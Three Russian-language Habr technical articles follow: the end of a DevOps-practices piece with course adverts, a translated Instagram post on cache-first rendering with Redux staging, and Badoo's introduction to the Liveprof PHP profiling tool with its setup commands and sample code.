И вот почему. Облачные IDE — это размещаемые полностью среды разработки, позволяющие писать и запускать код, выполнять его отладку, а также быстро разворачивать новые, предварительно настроенные среды. Нужны подтверждения? [В](https://github.com/features/codespaces) начале года мы [запустили](https://github.com/features/codespaces) собственную облачную IDE Codespaces и начали использовать её [для создания GitHub](https://github.blog/2021-08-11-githubs-engineering-team-moved-codespaces/). Раньше на развёртывание новых сред разработчика у нас уходило до 45 минут — теперь лишь 10 секунд.
С облачными IDE очень просто и быстро разворачивать новые, предварительно настроенные среды разработки, в том числе одноразовые. Кроме того, с ними не надо думать о мощности компьютера (привет всем, кто отважился писать код на планшетах).
**Представьте:** ноутбук вдруг загорается (со мной это случалось пару раз). А там версии npm, инструменты подключения к облачному провайдеру и куча настроек! С IDE вы развёртываете среду в облаке со всеми конфигурациями, и это просто магия.
> [Узнайте,](https://dev.to/sr229/when-do-you-actually-use-cloud-ides-2nig) как работают облачные IDE
>
>
### Контейнеры
Не хотите облачную IDE? Используйте контейнеры — локально или в облаке. За последние 10 лет популярность контейнеров резко выросла благодаря их использованию в архитектуре микросервисов, CI/CD, разработке облачных приложений и т. д. По своей сути контейнеры легковесны и эффективны: с ними легко создавать, тестировать, прогонять по этапам сборки и развёртывать ПО.
Освоение основ контейнеризации очень полезно — особенно при тестировании кода в легковесной среде, имитирующей эксплуатационную. С контейнерами также очень легко обновить библиотеку или попробовать приложение в следующей версии до перехода на продакшн.
Особенно полезно это для «сдвига влево» — важной стратегии DevOps. Выявление ошибок или проблем до перехода к продакшну избавит от лишней головной боли. Найти эти ошибки во время написания кода — ещё лучше. Любые проблемы в итоге прибавляют работы, поэтому, чем раньше их найдёте, тем лучше. Опять же, выявление проблемы до перехода к этапу компиляции избавит от лишней головной боли.
> [Узнайте,](https://www.freecodecamp.org/news/a-practical-guide-to-containers-dfa66d37ac30/) как работают контейнеры.
>
>
Автоматизированное тестирование и непрерывная интеграция (CI) позволяют быть на шаг впереди
-------------------------------------------------------------------------------------------
В разговорах о DevOps часто упоминают об этих двух понятиях. Автоматизированное тестирование, будучи обычно частью практики CI, не является строгим требованием (хотя должно быть... по крайней мере частью этапа непрерывного развёртывания ПО).
Многие команды ограничиваются базовым модульным тестированием в рамках процесса CI, обходясь без автоматизированного тестирования пользовательского интерфейса, интеграционного тестирования, выявления уязвимостей безопасности и т. д.
Но как ускорить рабочие процессы и уменьшить нагрузку на команду DevOps?
1. Убедитесь, что код работает с главной веткой.
2. Находите уязвимости безопасности и другие проблемы.
Ниже о том, как это можно сделать.
### GitHub Actions для автоматизации тестирования
С GitHub Actions возможно многое — к примеру, [заказать](https://github.com/mattdsteele/dominos-action) пиццу или [активировать](https://dev.to/mxarc/a-github-action-to-trigger-a-light-on-your-room-385b) сигнал тревоги. Всё сводится к автоматизации рабочего процесса. Чтобы настроить тесты с помощью GitHub Actions, создайте свой Action или примените готовый из [GitHub Marketplace](https://github.com/marketplace?type=).
> [Узнайте](https://docs.github.com/en/actions/creating-actions), как автоматизировать рабочиек процессы с GitHub Actions[.](https://docs.github.com/en/actions/creating-actions)
>
>
> **Рекомендация профессионала:** отличный способ проверить наличие уязвимостей безопасности и проблем в коде перед объединением с главной веткой — это использование рабочих процессов GitHub Actions, которые запускаются в ответ на запросы на включение изменений в репозиторий проекта. В итоге главная ветка чистая, а вы — на шаг впереди.
>
> Узнайте больше о GitHub Actions из [этого](https://github.com/marketplace/actions/issuetron-3000) руководства[.](https://github.com/marketplace/actions/issuetron-3000)
>
>
Также можно настроить рабочие процессы для развёртывания во временных тестовых средах. То есть запускать тесты *и* развёртывать изменения в среде и в ней тестировать приложение. Можно даже настроить рабочий процесс так, чтобы после завершения автоматически удалять эти тестовые среды. Всё это позволяет протестировать как можно больше до перехода к производственной среде.
### Использование GitHub Actions для создания конвейеров CI
CI, или [непрерывная интеграция](https://resources.github.com/ci-cd/), — это процесс автоматической интеграции кода нескольких пользователей проекта. Хорошая практика CI позволяет: быстрее работать; убедиться в том, что код компилируется корректно; более эффективно объединять изменения кода и быть уверенным, что код вписывается в работу других пользователей.
Самые мощные рабочие процессы CI — те, которые проверяют всё, что вам нужно, при каждом добавлении кода на сервер. Работаете на GitHub? GitHub Actions делают и это. На GitHub Marketplace много готовых рабочих процессов CI (и всегда можно создать свой), но при внедрении CI в процесс разработки стоит учитывать нюансы:
* **Запускайте необходимые тесты.** Подумайте, какие средства автоматизации сборки, интеграции и тестирования вам нужны. Посмотрите, что было не так с прошлыми выпусками и не добавить ли тест для них в CI.
* **Оптимизируйте время, необходимое для тестирования кода, со скоростью запуска нового кода.** Если вы добавляете новый код каждые пять минут (гипотетически), но выполнение тестов занимает 10 минут… это не очень хорошо. Всегда лучше соотносить, что и когда вы проверяете, с тем, сколько времени это занимает, и сокращать список тестов до более реалистичного их числа, по крайней мере для сборок CI.
> [Ознакомьтесь](https://dev.to/michaelcurrin/intro-tutorial-to-ci-cd-with-github-actions-2ba8) с руководством по созданию конвейера CI с GitHub Actions.
>
>
Оркестрация серверов для повышения гибкости и скорости
------------------------------------------------------
Если вы создаёте облачное приложение или даже просто используете разные серверы, виртуальные машины, контейнеры или хостинговые сервисы, то наверняка имеете дело с несколькими средами. Возможность убедиться, что приложение и инфраструктура подходят друг другу, уменьшает вашу зависимость от команды разработчиков, пытающихся запустить ПО на вашей инфраструктуре в последнюю минуту.
Здесь пригодится [оркестрация серверов](https://github.com/topics/orchestration). Оркестрация серверов или инфраструктуры — это обычно задачи ИТ- и DevOps-команд. К ним относятся настройка, управление, подготовка и координация систем, приложений и базовой инфраструктуры для запуска ПО.
> **Рекомендация профессионала:** есть [набор инструментов,](https://github.com/wmariuss/awesome-devops) позволяющих определять и обновлять необходимую инфраструктуру.
>
>
Большое преимущество автоматизации инфраструктуры — улучшенная масштабируемость. Когда среды определены, их проще удалять и воссоздавать, когда что-то идёт не так (а не начинать с нуля, как это было обычно).
И ещё одно большое преимущество — если надо что-то протестировать, не нужно просить команду разработчиков настраивать сервер. Вы сделаете это в рамках рабочего процесса. И без подгонки вручную аппаратных или системных требований.
**Как начать:** не пытайтесь заменить всё в своей среде на автоматизированную автоматизацию инфраструктуры. Найдите часть, которую легко автоматизировать, и начните с неё, затем другую, потом следующую.
И *никогда* не запускайте в производственной среде. Начните с тестовой среды. Заработает там — переходите к промежуточной среде (если заработает в ней, будет работать и на боевом сервере).
Пробуйте писать повторяющиеся задачи на Bash или PowerShell
-----------------------------------------------------------
Представьте: у вас куча повторяющихся задач, выполняемых локально, и каждую неделю на них уходит слишком много времени. Есть лучший, эффективный способ работы с ними — писать скрипты с Bash или PowerShell.
* [Bash](https://www.gnu.org/software/bash/) имеет глубокие корни в мире Unix. Это основа основ для ИТ-, DevOps-команд и многих разработчиков.
* [PowerShell](https://docs.microsoft.com/en-us/powershell/scripting/) моложе. Разработанная в Microsoft и запущенная в 2006 году, PowerShell заменила командную оболочку и ранние языки сценариев для автоматизации задач и управления конфигурацией в средах Windows.
Сегодня и Bash, и PowerShell кросс-платформенные (хотя большинство привыкших работать в Windows используют PowerShell, а большинство знакомых с Linux или macOS — Bash).
> **Рекомендация профессионала:** Bash и PowerShell работают по-разному. Там, где PowerShell работает с объектами, Bash передаёт информацию в виде строк. Что выбрать — во многом зависит от личных предпочтений.
>
>
Например, я с помощью Bash и PowerShell сделал скрипт, который берёт последнюю версию кода, создаёт новую ветку, переключается на неё, отправляет в GitHub черновик запроса на включение изменений (пул-реквеста), а затем открывает VSCode (подраздел в выбранном редакторе) в этой ветке.
Это серия небольших этапов, к жизнь намного проще. Сделал её один-два раза в неделю, написал скрипт — и имеешь больше времени на то, что важно: написание отличного кода.
Итоги
-----
Между ИТ-специалистом, инженером DevOps и разработчиком большая разница. Но в современном мире разработки ПО многие базовые практики DevOps становятся доступными для всех.
Кроме того, любому разработчику, который освоит несколько приёмов работы DevOps, легче работать самостоятельно (и притом более эффективно), продолжая фокусироваться на самом важном, то есть на создании отличного ПО. И сделать это может каждый из нас.
Коллекция инструментов DevOps и другие ссылки* [Collections: DevOps tools (Коллекции на Github: инструменты DevOps).](https://github.com/collections/devops-tools)
* [Blog: Getting started with DevOps automation (Начало работы с автоматизацией DevOps).](https://github.blog/2020-10-29-getting-started-with-devops-automation/)
* [Blog: The evolving role of operations in DevOps (Блог: меняющая роль операций в DevOps).](https://github.blog/2020-12-03-the-evolving-role-of-operations-in-devops/)
Продолжить изучение DevOps или разработки вы сможете на наших курсах:
* [Курс по DevOps (6 месяцев)](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_221221&utm_term=conc)
* [Профессия Fullstack-разработчик на Python (15 месяцев)](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_221221&utm_term=conc)
[Узнайте подробности](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_221221&utm_term=conc) акции.
Другие профессии и курсы**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_221221&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_221221&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_221221&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_221221&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_221221&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_221221&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_221221&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_221221&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_221221&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_221221&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_221221&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_221221&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_221221&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_221221&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_221221&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_221221&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_221221&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_221221&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_221221&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_221221&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_221221&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_221221&utm_term=cat) | https://habr.com/ru/post/596351/ | null | ru | null |
# Ускорение instagram.com. Часть 3
Сегодня публикуем перевод третьей части серии материалов об ускорении instagram.com. В [первой части](https://habr.com/ru/company/ruvds/blog/468227/) мы говорили о предварительной загрузке данных, во [второй](https://habr.com/ru/company/ruvds/blog/468413/) — об отправке данных клиенту по инициативе сервера. Здесь речь пойдёт о кэшировании.
[](https://habr.com/ru/company/ruvds/blog/472336/)
Работа начинается с кэша
------------------------
Мы уже отправляем данные клиентскому приложению, делая это в ходе загрузки страницы настолько рано, насколько возможно. Это значит, что единственным более быстрым способом доставки данных был бы такой, который вообще не предусматривает этапов, связанных с запросом информации клиентом или с отправкой её клиенту по инициативе сервера. Сделать это можно, воспользовавшись таким подходом к формированию страниц, при котором на первый план выступает кэш. Это, правда, означает, что нам придётся, хоть и очень ненадолго, показывать пользователю устаревшую информацию. При использовании такого подхода, мы, после загрузки страницы, немедленно демонстрируем пользователю кэшированную копию его ленты и историй, а затем, после того, как будут доступны свежие данные, заменяем всё это такими данными.
Для управления состоянием instagram.com мы используем Redux. В результате общий план реализации вышеописанной схемы выглядит так. Мы храним подмножество хранилища Redux на клиенте, в таблице indexedDB, заполняя это хранилище при первой загрузке страницы. Однако работа с indexedDB, загрузка данных с сервера и взаимодействие пользователя со страницей — это процессы асинхронные. В результате мы можем столкнуться с проблемами. Они заключаются в том, что пользователь работает со старым кэшированным состоянием, а нам нужно сделать так, чтобы действия пользователя применялись бы к новому состоянию при получении его с сервера.
Например, если мы будем пользоваться стандартными механизмами работы с кэшем, мы можем столкнуться со следующей неувязкой. Мы начинаем параллельную загрузку данных из кэша и из сети. Так как данные из кэша будут готовы быстрее сетевых данных, мы показываем их пользователю. Пользователь затем, например, лайкает пост, но после того, как ответ сервера, несущий в себе самую свежую информацию, приходит на клиент, эта информация перезаписывает сведения о лайкнутом посте. В этих свежих данных не будет сведений о лайке, который пользователь поставил кэшированной версии поста. Вот как это выглядит.
*Состояние гонки, возникающее при взаимодействии пользователя с кэшированными данными (действия Redux выделены зелёным цветом, состояние — серым)*
Для решения этой проблемы нам нужно было и поменять кэшированное состояние в соответствии с действиями пользователя, и сохранить сведения об этих действиях, что позволило бы воспроизвести их в применении к новому состоянию, поступившему с сервера. Если вы когда-нибудь пользовались Git или другой системой контроля версий, то вам эта задача может показаться знакомой. Предположим, что кэшированное состояние ленты — это локальная ветка репозитория, а ответ сервера со свежими данными — это ветка master. Если так — то можно сказать, что мы хотим выполнить операцию перебазирования, то есть — хотим взять изменения, зафиксированные в одной ветке (например — лайки, комментарии и так далее), и применить их к другой.
Эта идея приводит нас к следующей архитектуре системы:
* При загрузке страницы мы отправляем на сервер запрос на загрузку новых данных (или ждём их отправки по инициативе сервера).
* Создаём промежуточное (staged) подмножество состояния Redux.
* В процессе ожидания данных от сервера мы сохраняем отправленные действия.
* После получения данных от сервера мы выполняем действия с новыми данными и воспроизводим сохранённые действия на новых данных, применяя их к промежуточному состоянию.
* После этого мы фиксируем изменения и заменяем текущее состояние промежуточным.
*Решение проблемы, вызванной состоянием гонки, с использованием промежуточного состояния (действия Redux выделены зелёным цветом, состояние — серым)*
Благодаря наличию промежуточного состояния мы можем повторно использовать все существующие редьюсеры. Это, кроме того, позволяет хранить промежуточное состояние (в котором содержатся самые свежие данные) отдельно от текущего состояния. А, так как работа с промежуточным состоянием реализована с использованием Redux, нам, для использования этого состояния, достаточно просто отправлять действия!
API
---
API, предназначенный для работы с промежуточным состоянием, состоит из двух основных функций. Это — `stagingAction` и `stagingCommit`:
```
function stagingAction(
key: string,
promise: Promise,
): AsyncAction
function stagingCommit(key: string): AsyncAction
```
Там есть и несколько других функций, предназначенных, например, для отмены изменений и для обработки пограничных случаев, но мы их тут не рассматриваем.
Функция `stagingAction` принимает промис, разрешающийся событием, которое нужно отправить в промежуточное состояние. Эта функция инициализирует промежуточное состояние и отслеживает действия, которые были отправлены с момента его инициализации. Если сопоставить это с системами контроля версий, то окажется, что мы имеем дело с созданием локальной ветки. Происходящие действия будут поставлены в очередь и применены к промежуточному состоянию после поступления новых данных.
Функция `stagingCommit` заменяет текущее состояние промежуточным. При этом, если ожидается завершение неких асинхронных операций, выполняемых над промежуточным состоянием, то система, перед заменой, дождётся завершения этих операций. Это похоже на операцию перебазирования, когда локальные изменения (из ветки, хранящей кэш) применяются поверх ветки master (поверх новых данных, полученных с сервера), что приводит к тому, что локальная версия состояния оказывается актуальной.
Для того чтобы включить систему работы с промежуточным состоянием, мы обернули корневой редьюсер в расширитель возможностей редьюсера. Он обрабатывает действие `stagingCommit` и применяет ранее сохранённые действия к новому состоянию. Для того чтобы всем этим воспользоваться, нам нужно лишь отправлять действия, а всё остальное будет сделано автоматически. Например, если мы хотим загрузить новую ленту и внести её данные в промежуточное состояние, мы можем поступить примерно так:
```
function fetchAndStageFeed() {
return stagingAction(
'feed',
(async () => {
const {data} = await fetchFeedTimeline();
return {
type: FEED_LOADED,
...data,
};
})(),
);
}
// Загружаем новую ленту и помещаем её в промежуточное состояние
store.dispatch(fetchAndStageFeed());
// любые другие действия, отправленные до действия stagingCommit,
// будут применены к промежуточному состоянию 'feed'
// Перенос промежуточного состояния в текущее
store.dispatch(stagingCommit('feed'));
```
Использование для ленты и историй подхода к рендерингу, при котором на первый план выходит кэш, позволило ускорить вывод материалов, соответственно, на 2.5% и 11%. Это, кроме того, способствовало тому, что, в восприятии пользователей, веб-версия системы сблизилась с клиентами Instagram для iOS и Android.
**Уважаемые читатели!** Используете ли вы какие-нибудь подходы к оптимизации кэширования при работе над своими проектами?
[](https://ruvds.com/vps_start/)
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/472336/ | null | ru | null |
# Liveprof покажет, когда и почему менялась производительность вашего PHP-приложения
Привет, Хабр! Меня зовут Тимур Шагиахметов, я PHP-разработчик в [Badoo](https://tech.badoo.com/ru/).
Производительность приложения — один из важнейших критериев качества работы программиста. В вопросах оптимизации PHP-приложений помощником является профайлер.
Недавно мы [рассказывали](https://habr.com/company/badoo/blog/430722/) о том, какими инструментами пользуемся для профилирования. Напомню: одним из инструментов для анализа производительности, когда непонятно, какие части кода повлияли больше всего на увеличение времени формирования ответа, является [XHProf](http://php.net/xhprof). Это расширение для PHP, которое позволяет профилировать код на боевом сервере и впоследствии улучшать его.
Но хотелось бы ещё иметь историю изменения производительности, чтобы можно было отследить, что и когда повлияло на её ухудшение, не так ли? Для этого около года назад мы разработали [Liveprof](https://github.com/badoo/liveprof-ui) — инструмент для автоматического профилирования всех запросов с интерфейсом для анализа изменения производительности приложения.
Наш инструмент позволяет анализировать изменение производительности любой части кода, находить места, в которых наиболее сильно она упала. При этом его не нужно специально включать и ждать, пока накопится статистика, — он всегда активен и собирает данные для определённой доли всех запросов.
В этой статье я расскажу о деталях реализации и особенностях использования этого инструмента.
Немного об XHProf
-----------------
Для начала несколько слов о возможностях самого XHProf. Это профайлер для PHP, написанный на C как расширение. Он был разработан в Facebook и выложен в открытый доступ. Имеет несколько форков ([uprofiler](https://github.com/FriendsOfPHP/uprofiler), [Tideways](https://github.com/tideways/php-profiler-extension)), полностью совместимых на уровне формата выходных данных.
XHProf расставляет таймеры вокруг всех вызовов функций/методов. Его использование сопряжено с некоторыми накладными расходами. Но они не такие большие и позволяют использовать его в продакшене.
Результатом работы XHProf является массив элементов в следующем формате:
```
$data = [
'parentMethodName==>childMethodName' => [
'ct' => 1
'wt' => 8
'cpu' => 11
'mu' => 528
'pmu' => 0
]
];
```
, где
`**parentMethodName**` и `**childMethodName**` — родительский и дочерний методы соответственно;
`**ct**` — количество вызовов в контексте запроса;
`**wt**` — время выполнения запроса (состоит из времени, затраченного процессором, и времени ожидания ввода/вывода или ответа другого сервиса);
`**cpu**` — время, затраченное процессором на обработку запроса;
`**mu**` — изменение потребления памяти после вызова метода;
`**pmu**` — изменение пикового потребления памяти после вызова метода.
Также возможно наличие некоторых других параметров.
XHProf также содержит инструменты для визуализации полученных таким образом результатов. Для каждой операции профилирования получаем таблицу с набором параметров по каждому методу.
Например,
**результат сортировки пузырьком**
```
php
class ArrayGenerator
{
public function getRandomArray(int $count): array
{
$array = [];
for ($i = 0; $i < $count; $i++) {
$array[] = rand(0, 1000);
}
return $array;
}
}
class BubbleSorter
{
public function sort(&$array): void
{
$len = count($array);
for ($i = 0; $i < $len ; $i++) {
for ($j = 0; $j < $len - $i - 1; $j++) {
if ($array[$j] $array[$j + 1]) {
$this->swap($array[$j], $array[$j + 1]);
}
}
}
}
private function swap(&$a, &$b): void
{
$tmp = $a;
$a = $b;
$b = $tmp;
}
public function isSorted(array $array): bool
{
$len = count($array);
for ($i = 0; $i < $len - 1; $i++) {
if ($array[$i] > $array[$i + 1]) {
return false;
}
}
return true;
}
}
class ArrayPrinter
{
public function print(array $array, string $delimiter = ' '): void
{
echo implode($delimiter, $array) . PHP_EOL;
}
}
xhprof_enable();
$n = 10;
$arrayGenerator = new \ArrayGenerator();
$array = $arrayGenerator->getRandomArray($n);
$sorter = new BubbleSorter();
if (!$sorter->isSorted($array)) {
$sorter->sort($array);
}
$printer = new \ArrayPrinter();
$printer->print($array);
$xhprof_data = xhprof_disable();
```
Можно пройти внутрь каждого метода, чтобы узнать, какие методы сколько ресурсов использовали.
Также можно посмотреть на граф вызовов с подсветкой самых ресурсоёмких методов:
XHProf полезен для анализа производительности каждого запроса вручную. Но нам также важно видеть картину в целом. Нужно понимать, как изменилась производительность с течением времени. Для этого был разработан инструмент, который профилирует запросы в автоматическом режиме и позволяет анализировать их в веб-интерфейсе.
Liveprof: агрегируем результаты и храним историю
------------------------------------------------
Как получить историю профилирования?
Для начала нужно настроить автоматический запуск профайлера и сохранение результатов. Производительность не бывает постоянной, и от запуска к запуску она колеблется. Чтобы избежать влияния таких колебаний, используем усреднённые данные нескольких запросов. В результате мы получаем агрегированные результаты по каждому запросу, например, минимум, максимум, среднее и 95-й перцентиль. Это помогает находить тяжелые вещи, которые могут вызываться не на каждый запрос.
У нашего инструмента есть и преимущества, и некоторые ограничения.
### Что умеет агрегатор:
1. Автоматическое профилирование каждого N-го запроса.
2. Ежесуточное агрегирование собранных профилей.
3. Возможность посмотреть графики изменения каждого параметра, измеренного профайлером. Например, wt, cpu, mu, pmu, описанные выше.
4. Посмотреть изменение производительности любого метода за определенный интервал.
5. [Флеймграф](http://www.brendangregg.com/flamegraphs.html), построенный по последним агрегированным данным.
6. Найти запросы, в которых вызывался определенный метод
### Ограничения:
1. Поскольку наш инструмент — агрегирующий, нельзя узнать производительность одного запроса (например, самого медленного) — результаты получаем усреднённые за последние сутки. Но этого достаточно, чтобы оценить общую динамику производительности. Если какой-то запрос просел в скорости выполнения, то изменятся среднее значение, 95-й перцентиль и максимальное время выполнения.
2. Нельзя однозначно восстановить полный стек вызова, так как XHProf возвращает только уникальные пары «родитель — потомок» с суммой значений затраченных ресурсов.
3. Погрешность времени выполнения запросов, связанная с накладными расходами XHProf. Разница не такая и большая, но ее надо учитывать при измерении времени выполнения запроса.
### Как использовать профайлер
1. Для начала профайлер нужно подключить к сайту или скрипту. Удобнее всего использовать [инструмент для автоматического запуска профайлера](https://github.com/badoo/liveprof):
```
php composer.phar require badoo/liveprof
# Run a script to configure database
LIVE_PROFILER_CONNECTION_URL=mysql://db_user:db_password@db_mysql:3306/Profiler?charset=utf8 php vendor/badoo/liveprof/bin/install.php
```
Он поддерживает версии PHP начиная с 5.4, и его использование сопряжено с минимальными накладными расходами, что позволяет использовать его в боевом окружении. Инструмент автоматически определяет используемое расширение профайлера: [XHProf](http://php.net/xhprof), [uprofiler](https://github.com/FriendsOfPHP/uprofiler) или [Tideways](https://github.com/tideways/php-profiler-extension). При запуске нужно указать параметры подключения к базе данных и настройки профилирования.
Пример использования в коде с настройками по умолчанию:
```
php
include 'vendor/autoload.php';
\Badoo\LiveProfiler\LiveProfiler::getInstance()-start();
// Code is here
```
Результаты профилирования сохраняются в базу данных. Раз в день происходит процесс агрегации. Для этого выбираются все записи по определённому запросу за день и вычисляются агрегированные функции по каждому из параметров. Функции агрегации можно расширить или переопределить.
Сейчас доступны следующие:
* минимум за день;
* максимум за день;
* среднее значение за день;
* 95-й перцентиль за день.
2. Для настройки агрегации и просмотра результатов используется [веб-клиент агрегатора](https://github.com/badoo/liveprof-ui). Проще всего его установить в докер-контейнере:
```
git clone https://github.com/badoo/liveprof-ui.git
cd liveprof-ui
docker-compose up web
```
3. Перед первым запуском нужно настроить параметры подключения к базе данных, список полей и используемых агрегированных функций в файле конфигурации src/config/services.yaml. Затем выполнить скрипт установки:
```
docker-compose exec web bash install.sh
```
4. Надо прописать в крон автоматически запускаемые скрипты агрегации и очистки старых данных:
```
# script aggregates all profiles for previous day, add it if you don't use a queue for aggregation jobs (parameter aggregator.use_jobs_in_aggregation=false)
0 2 * * * docker-compose -f %PATH_TO_PROJECT%/docker-compose.yml run --rm --entrypoint '/usr/local/bin/php /app/bin/cli.php cron:aggregate-all-profiles' web
# script removes old aggregated data, by default > 200 days
0 1 * * * docker-compose -f %PATH_TO_PROJECT%/docker-compose.yml run --rm --entrypoint '/usr/local/bin/php /app/bin/cli.php cron:remove-old-profiles' web 200
```
5. Для заполнения тестовыми данными можно запустить скрипт:
```
docker-compose exec web php /app/bin/cli.php example:a-week-degradation
```
Описание интерфейса
-------------------
Веб-интерфейс доступен по адресу: 127.0.0.1:8000.
По умолчанию открывается страница со списком агрегированных запросов. Позволяет легко найти интересующий запрос, отсортировать все запросы по любому из параметров, а также переагрегировать определенный запрос, чтобы посмотреть последние результаты:
Страница со списком методов и графиками изменения производительности — наиболее используемая при работе с инструментом. Позволяет переходит по стеку вызова, смотреть потребление каждого параметра, а также графики изменения производительности за определенный интервал:
*Страница с полным списком вызванных методов позволяет быстро найти интересующий метод и посмотреть графики, перейдя на страницу с графиками:*
*Страница с [флеймграфом](http://www.brendangregg.com/flamegraphs.html) последнего агрегированного запроса позволяет визуально определить самые тяжелые части.*
Использование XHProf накладывает некоторые ограничения по точности результата. Это связано с тем, что профайлер не возвращает полное дерево вызовов, а только пары «родитель — потомок». При этом если какая-то пара методов вызывалась из разных мест приложения, то в результате получим сумму затраченного времени. Для флеймграфа нужно иметь полное дерево вызовов. При восстановлении такого дерева значения параметров нормализуется с учетом времени, затраченного родителями.
*Страница со списком методов, которые стали работать медленнее в течение выбранного интервала.*
Также по каждому методу можно посмотреть, какой из дочерних вызовов повлиял больше всего на производительность. Например, на скриншоте ниже можно увидеть, что метод `ServiceApi::getAvailableServices()` стал выполняться на 116 мс медленнее. Причиной тому стало добавление вызова `ServiceApi::getGifts()` (изменение на 56 мс) и увеличение числа вызовов метода `ServiceApi::getConfigForList()` с 1 до 5 (еще 50 мс):
[](https://habrastorage.org/webt/rv/mc/dd/rvmcddru-ay4x9cb45xsvey_tka.png)
Если заранее неизвестно, у какого запроса наиболее заметно изменилась производительность, то поможет страница со списком методов, которые стали работать медленнее без привязки к конкретному запросу:
*Страница с поиском запросов, в которых вызывался конкретный метод.*
Она позволяет сравнить время исполнения в разных запросах. Полезна также в поиске неиспользуемого кода:
### Возможности кастомизации
Инструмент имеет широкие возможности для кастомизации:
* можно добавить собственные агрегирующие функции, которые вычисляют некое значение на основе переданного массива значений параметра;
* можно изменить базу данных для хранения профилей и агрегированных результатов (сейчас поддерживаются SQLite, MySQL и PostgreSQL, но можно использовать и другие из списка доступных для [Doctrine DBAL](https://www.doctrine-project.org/projects/doctrine-dbal/en/2.8/reference/configuration.html#configuration));
* можно переопределить как менеджер подключения к базе данных, так и реализовать свои методы получения данных;
* можно использовать веб-интерфейс как в качестве самостоятельного проекта, так и внутри любого фреймворка (например, панели управления сайтом). Пример:
```
public function profileListAction()
{
*//Some custom logic before*
$this->checkPermissions();
$App = new \Badoo\LiveProfilerUI\LiveProfilerUI();
$Page = $App->getPage('profile_method_list_page');
return $Page->setData($data)->render();
}
```
Заключение
----------
Надеюсь, наш инструмент будет полезен и другим разработчикам. Он даст возможность проверить изменение производительности любой части кода без использования дополнительных таймеров. Также это облегчит процесс оптимизации, поскольку теперь можно посмотреть, что повлияло на падение производительности приложения с течением времени.
Он доступен на GitHub: [github.com/badoo/liveprof](https://github.com/badoo/liveprof/), веб-интерфейс — [github.com/badoo/liveprof-ui](https://github.com/badoo/liveprof-ui/).
Инструмент находится в активной разработке и может содержать некоторые ошибки. Надеюсь, при участии сообщества он станет еще лучше. В планах добавить поддержку других профайлеров помимо XHProf, а также расширить список поддерживаемых баз данных.
Отзывы и вопросы по использованию присылайте нам в [Telegram](https://t.me/badoo_php_meetup), баги и пулл реквесты — прямиком в [GitHub](http://github.com/badoo/liveprof). Будем рады комментариям и предложениям!
